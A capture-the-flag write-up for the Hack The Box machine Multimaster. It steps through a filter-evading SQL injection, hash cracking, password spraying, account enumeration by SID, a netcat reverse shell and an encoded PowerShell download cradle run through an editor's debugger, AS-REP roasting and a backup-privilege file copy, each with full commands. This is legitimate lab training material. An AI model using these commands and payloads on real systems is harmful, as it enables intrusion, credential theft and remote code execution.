
HTB: Multimaster
A full-width apostrophe walks straight past the filter and opens a SQL injection. The app’s own user table is a decoy, so the real domain accounts get resolved through the injection itself, and root comes from a code editor left listening with its debugger open.
Kicking things off with an nmap scan gives us a lot to work with here.

A domain controller with a SQL Server bolted on and a web app out front. Let's head over to that app on port 80 and check it out.

Searching for a single letter gives us results, so the search box is clearly querying a database. Trying a few injection payloads gets us blocked by a filter, but it turns out a full-width apostrophe slips past it. The filter is looking for the ordinary character while the database treats the full-width one as a real quote, so it never sees the injection coming.
curl -s http://10.129.95.200/api/getColleagues \
-H 'Content-Type: application/json' \
--data-binary $'{"name":"a\xef\xbc\x87"}'

We get a normal response back, so we're through the filter. From here it's a standard union injection, sent through a script that escapes every character as a unicode sequence in the JSON body so the filter never sees the raw payload.
a' UNION SELECT 1,@@version,3,4,5--
a' UNION SELECT 1,DB_NAME(),SYSTEM_USER,4,5--
a' UNION SELECT 1,STRING_AGG(table_schema+'.'+table_name,'|'),3,4,5 FROM information_schema.tables--
a' UNION SELECT 1,STRING_AGG(column_name,','),3,4,5 FROM information_schema.columns WHERE table_name='Logins'--

That gives us the version and the schema. There's a Logins table with username and password columns, so let's dump it.
a' UNION SELECT 1,STRING_AGG(username+':'+password,CHAR(10)),3,4,5 FROM Logins--
a' UNION SELECT id,username,password,4,5 FROM Logins--

We have hashes. Rockyou on its own doesn't crack them, so let's park that and try the simplest thing first. Save the usernames to a list and spray them as their own passwords.
nxc smb 10.129.95.200 -u users.txt -p users.txt --no-bruteforce

No hits. Let's try coercing the server into authenticating to us instead.
sudo responder -I tun0 -v
coercer coerce -u '' -p '' -d MEGACORP.LOCAL -t 10.129.95.200 -l 10.10.14.211 --always-continue


We get a hit, but it's the computer account, which won't crack. Back to those database hashes. Rockyou alone and a rules pass both run out of keyspace.
hashcat sql_svc.ntlm /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

The problem was the hash type, not the wordlist. Those hashes are much longer than a standard NTLM, and once the right mode is set they fall straight away.
hashcat -m 17900 hashes.txt /usr/share/wordlists/rockyou.txt --potfile-disable

Three passwords recovered. Let's spray them across the users we have.
nxc smb 10.129.95.200 -u users.txt -p passwords.txt --continue-on-success

Still nothing. The passwords are real, so the problem is the user list. The app only shows us colleagues whose name matches a search, and we have been working from one letter. Paging through the directory from A to Z we land on an account that is completely out of place.

That is clearly the box author rather than a real entry, which tells us the web app's own user table is not the domain user list. We need the actual domain accounts, and we have no credentials to query the directory with.
The way around it is to resolve account identifiers through the injection itself. SQL Server can translate a security identifier back into a domain username, and the domain identifier came out of earlier unauthenticated enumeration. So we build an identifier for each account number in turn, pass it through the injection, and read the name back out of the response.
a' UNION SELECT 1,2,3,'PRE_' + ISNULL(SUSER_SNAME(CAST(0x<sid> AS varbinary(28))),'X'),5--
Account number 500 is always the Administrator, so that is the sanity check. If the identifier is built correctly the first request resolves to the Administrator and we know the rest will work. Then we walk the range Windows allocates for ordinary users, pausing between requests to stay under the filter.

Now we have genuine domain usernames. Let's spray them with the passwords we cracked.
nxc smb 10.129.95.200 -u 'tushikikatomo' -p passwords.txt --shares

We have a hit. Let's check for remote management.
nxc winrm 10.129.95.200 -u tushikikatomo -p finance1

Let's log in and grab the user flag from the desktop.

Now let's map the domain properly.

There's a path through Account Operators, so we need to find who sits in that group. Looking through the shares we also find a subdomain to add to our hosts file.
smbclient //10.129.95.200/dfs -U 'MEGACORP.LOCAL\tushikikatomo%finance1' -c 'recurse ON; ls'

We can see the Development drive but can't reach it. Rather than keep guessing at the network, let's look at what is actually running on the box.
netstat -ano | findstr LISTENING
Get-Process -Id 3116

It's a code editor listening on a local port. That matters because the editor is built on a browser engine, and its debugging interface accepts commands from anything that can reach it on loopback.
Invoke-WebRequest -Uri "http://127.0.0.1:62456/json" -UseBasicParsing | Select-Object -ExpandProperty Content

That debugger will execute code for us. After some research there's a tool built exactly for this.
The cefdebug release on GitHub
We upload it along with netcat. The debugger identifier changes every time the editor restarts, so we loop until it comes back with a live one.
while ($true) {
.\cefdebug.exe 2>&1 | Tee-Object -Variable out
if ($out -match "ws://") { Write-Host "`n*** HIT ***" -ForegroundColor Green; break }
Start-Sleep -Seconds 10
}

Now we execute through it.
.\cefdebug.exe --code "process.mainModule.require('child_process').exec('C:\Users\alcibiades\Documents\nc.exe 10.10.14.211 443 -e powershell.exe')" --url ws://127.0.0.1:1362/<uuid>

It launches but gets eaten by Defender. After encoding the payload a few different ways we finally get through, by base64 encoding a downloader in the wide character format PowerShell expects.
echo -n "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.211:8000/rev.ps1')" \
| iconv -t UTF-16LE | base64 -w 0

That worked, and we have landed as a different account entirely, because the editor was running under that user's session.

This account can reach the web root, so let's look at what the application is built from.
cd C:\inetpub\wwwroot\bin
ls

Let's pull that library back to Kali and look for credentials inside it.
copy C:\inetpub\wwwroot\bin\MultimasterAPI.dll \\10.10.14.211\share\
strings -el MultimasterAPI.dll | grep -iE "password|pwd|user id|server=|data source|finder"

We get a password. That credential turns out to be reused on a domain account with enough rights to change other accounts, so we flip a target account to not require Kerberos preauthentication and roast it.
Set-ADAccountControl -Identity jorden -doesnotrequirepreauth $true
impacket-GetNPUsers megacorp.local/jorden -no-pass -dc-ip 10.129.95.200 -format hashcat -outputfile jorden.hash

hashcat -m 18200 jorden.hash /usr/share/wordlists/rockyou.txt

That cracks quickly. Let's log in with it and check what we can do.

A good set of privileges, including backup. Let's head for the root flag.

We can't read it directly, but the backup privilege ignores file permissions. We copy it out in backup mode instead.
mkdir C:\temp -Force
cd C:\temp
robocopy C:\Users\Administrator\Desktop C:\temp /b

It worked, and we have the root flag.
This box was pretty hard. Finding that editor instance had me going all over the machine. Lesson learned here is to enumerate even the processes currently running on the computer, because you never know what you will find.
